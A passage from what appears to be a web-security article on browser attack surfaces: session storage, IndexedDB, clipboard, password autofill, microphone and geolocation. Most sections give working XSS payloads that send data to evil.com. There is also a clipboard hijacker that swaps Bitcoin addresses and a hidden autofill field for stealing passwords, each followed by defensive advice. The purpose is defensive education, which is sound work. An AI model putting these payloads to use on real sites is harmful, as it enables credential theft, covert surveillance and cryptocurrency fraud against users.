&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;JWTs in localStorage are trivially stolen via XSS. JWTs in &lt;code&gt;HttpOnly&lt;/code&gt; cookies are not.&lt;/p&gt;
&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Never store authentication tokens in LocalStorage&lt;/li&gt;
&lt;li&gt;Never store sensitive PII in LocalStorage&lt;/li&gt;
&lt;li&gt;If you must store state, consider encrypted storage with a per-session key&lt;/li&gt;
&lt;li&gt;Treat LocalStorage as public — because under XSS, it is&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  6. SessionStorage — Same Problems, Shorter Window
&lt;/h2&gt;

&lt;p&gt;Same API as LocalStorage, but cleared when the tab closes. The attack surface is identical — any XSS running in the same session can read it. The only difference for an attacker is urgency.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Attacker payload in XSS context&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{...&lt;/span&gt;&lt;span class="nx"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendBeacon&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/log&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;sendBeacon&lt;/code&gt; is fire-and-forget, survives page unload, and doesn't require a response. Perfect for quick exfiltration during a session.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Defense&lt;/strong&gt;: Same as LocalStorage — treat as public under XSS. Never store secrets here.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. IndexedDB — The Structured Data Vault
&lt;/h2&gt;

&lt;p&gt;IndexedDB is a full client-side database. It can store gigabytes of structured data. And yes, any JS on the page can read all of it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why This Is More Dangerous Than It Looks
&lt;/h3&gt;

&lt;p&gt;IndexedDB is used by:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Progressive Web Apps storing offline data&lt;/li&gt;
&lt;li&gt;Email clients caching message bodies (Gmail uses it)&lt;/li&gt;
&lt;li&gt;Password managers storing vault state&lt;/li&gt;
&lt;li&gt;Medical apps caching patient records offline
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Exfiltrating an IndexedDB database via XSS&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;indexedDB&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-database&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onsuccess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;transaction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;objectStoreNames&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;readonly&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="c1"&gt;// Iterate all stores and exfiltrate&lt;/span&gt;
  &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;objectStoreNames&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;storeName&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;objectStore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;storeName&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;getAll&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;onsuccess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/db&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;store&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;storeName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
      &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Defense&lt;/strong&gt;: Encrypt sensitive data before writing to IndexedDB. Treat XSS as a threat to your entire local database, not just cookies.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Clipboard — Data in Transit
&lt;/h2&gt;

&lt;p&gt;The Clipboard API allows reading and writing the user's clipboard. Combined with the fact that people copy passwords, credit card numbers, private keys, and 2FA codes constantly — this is a high-value target.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Attack
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Silently exfiltrate whatever the user last copied&lt;/span&gt;
&lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;clipboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readText&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/clip?data=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;encodeURIComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Clipboard hijacking&lt;/strong&gt; — replacing copied crypto wallet addresses with the attacker's:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;copy&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;selected&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getSelection&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/^&lt;/span&gt;&lt;span class="se"&gt;[&lt;/span&gt;&lt;span class="sr"&gt;13&lt;/span&gt;&lt;span class="se"&gt;][&lt;/span&gt;&lt;span class="sr"&gt;a-km-zA-HJ-NP-Z1-9&lt;/span&gt;&lt;span class="se"&gt;]{25,34}&lt;/span&gt;&lt;span class="sr"&gt;$/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Looks like a Bitcoin address&lt;/span&gt;
    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;clipboardData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;text/plain&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;attacker_wallet_address&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This exact attack has been used to steal millions in cryptocurrency.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;clipboard-read&lt;/code&gt; requires explicit user permission in modern browsers&lt;/li&gt;
&lt;li&gt;Permissions Policy: &lt;code&gt;clipboard-read=()&lt;/code&gt; disables it for embedded content&lt;/li&gt;
&lt;li&gt;Users should verify clipboard contents before sending crypto transactions&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  9. Password Manager — Autofill as Attack Surface
&lt;/h2&gt;

&lt;p&gt;Password managers (built-in and third-party) autofill credentials based on origin matching. This creates multiple attack vectors.&lt;/p&gt;

&lt;h3&gt;
  
  
  Credential Phishing via Hidden Forms
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Visible login form --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"username"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Username"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Password"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;&amp;lt;!-- Hidden form — autofill populates both --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"steal"&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"display:none"&lt;/span&gt; &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"current-password"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Some password managers autofill all matching fields, including hidden ones.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cross-Origin Autofill Leakage
&lt;/h3&gt;

&lt;p&gt;Older password manager browser extensions matched domains loosely. &lt;code&gt;app.com&lt;/code&gt; and &lt;code&gt;evil-app.com&lt;/code&gt; might both receive autofill for &lt;code&gt;app.com&lt;/code&gt; credentials depending on the extension logic.&lt;/p&gt;

&lt;h3&gt;
  
  
  Credential Harvesting via XSS
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// If autofill has populated the form, read it immediately&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;creds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;input[type=email]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)?.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;pass&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;input[type=password]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)?.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/creds&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Users don't realize the password is already in the DOM as soon as the page loads with autofill.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;autocomplete="off"&lt;/code&gt; is largely ignored by modern browsers (by design)&lt;/li&gt;
&lt;li&gt;Ensure your login forms are only served over HTTPS on your own origin&lt;/li&gt;
&lt;li&gt;Implement CSP to limit where data can be sent&lt;/li&gt;
&lt;li&gt;Subresource Integrity for any third-party scripts near login forms&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  10. Camera &amp;amp; Microphone — Silent Sensors
&lt;/h2&gt;

&lt;p&gt;Both require explicit user permission, gated behind browser prompts. But once permission is granted, it persists — and any JS on that origin can invoke it.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Threat
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Silent audio recording after permission is granted&lt;/span&gt;
&lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mediaDevices&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getUserMedia&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;audio&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stream&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;recorder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;MediaRecorder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;chunks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
  &lt;span class="nx"&gt;recorder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ondataavailable&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;chunks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;recorder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onstop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;blob&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Blob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;chunks&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// Exfiltrate recording&lt;/span&gt;
    &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/audio&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;blob&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="nx"&gt;recorder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;recorder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stop&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;5000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// 5 seconds&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A compromised webpage, browser extension, or XSS payload that runs on a site that has camera permission (video conferencing, medical portal) can do this silently.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Permissions-Policy: camera=(), microphone=()&lt;/code&gt; — disable for pages that don't need it&lt;/li&gt;
&lt;li&gt;Revoke permissions for sites you no longer trust (browser settings)&lt;/li&gt;
&lt;li&gt;Physical camera covers are still valid security controls&lt;/li&gt;
&lt;li&gt;Browser indicator lights (on most hardware) do show camera/mic access — but not always visibly&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  11. Geolocation — Precise Physical Tracking
&lt;/h2&gt;

&lt;p&gt;Geolocation permission grants access to the user's physical coordinates — often GPS-accurate on mobile.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Threat
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;geolocation&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;watchPosition&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pos&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/track&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;lat&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;latitude&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;lng&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;longitude&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;accuracy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;accuracy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
